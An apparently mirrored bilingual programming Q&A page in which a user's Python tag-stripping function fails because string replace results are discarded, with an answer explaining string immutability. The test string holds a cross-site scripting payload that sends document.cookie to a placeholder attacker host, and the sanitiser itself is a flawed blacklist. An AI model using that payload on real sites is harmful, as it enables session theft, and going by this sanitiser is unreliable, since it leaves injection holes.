为什么功能不起作用?尝试替换字符串中的单词 [英] Why is function not working? Trying to replace words in string

查看:37
本文介绍了为什么功能不起作用?尝试替换字符串中的单词的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我正在尝试替换字符串中的一些关键字.这是我的功能:

I am trying to replace some key words in a string. Here is my function:

def clean_code(input):
    input.replace('<script>', " ")
    input.replace('</script>', " ")
    input.replace('<a href>', " ")
    input.replace('</a>', " ")
    input.replace('>', "&gt;")
    input.replace('>', "&lt;")
    return input

这是我的其他代码和字符串:

and here is my other code and the string:

string1 = "This blog is STUPID! >\n" \
"<script>document.location='http://some_attacker/cookie.cgi?"\
" +document.cookie </script>"


print '\nstring1 cleaned of code' 
print '------------------------'
print clean_code(string1)

我的输出如下,我不知道为什么什么都没有改变

My output is as follows, and I'm not sure why nothing has changed

string1 cleaned of code
------------------------
This blog is STUPID! >
<script>document.location='http://some_attacker/cookie.cgi? +document.cookie </script>

推荐答案

Python 字符串不可变:

Python strings are immutable:

input = input.replace('<script>', " ")
input = ...

请参阅replace 文档:

See replace documentation:

返回字符串 str 的副本,其中所有出现的子字符串 old 都被 new 替换.

Return a copy of string str with all occurrences of substring old replaced by new.

这篇关于为什么功能不起作用?尝试替换字符串中的单词的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆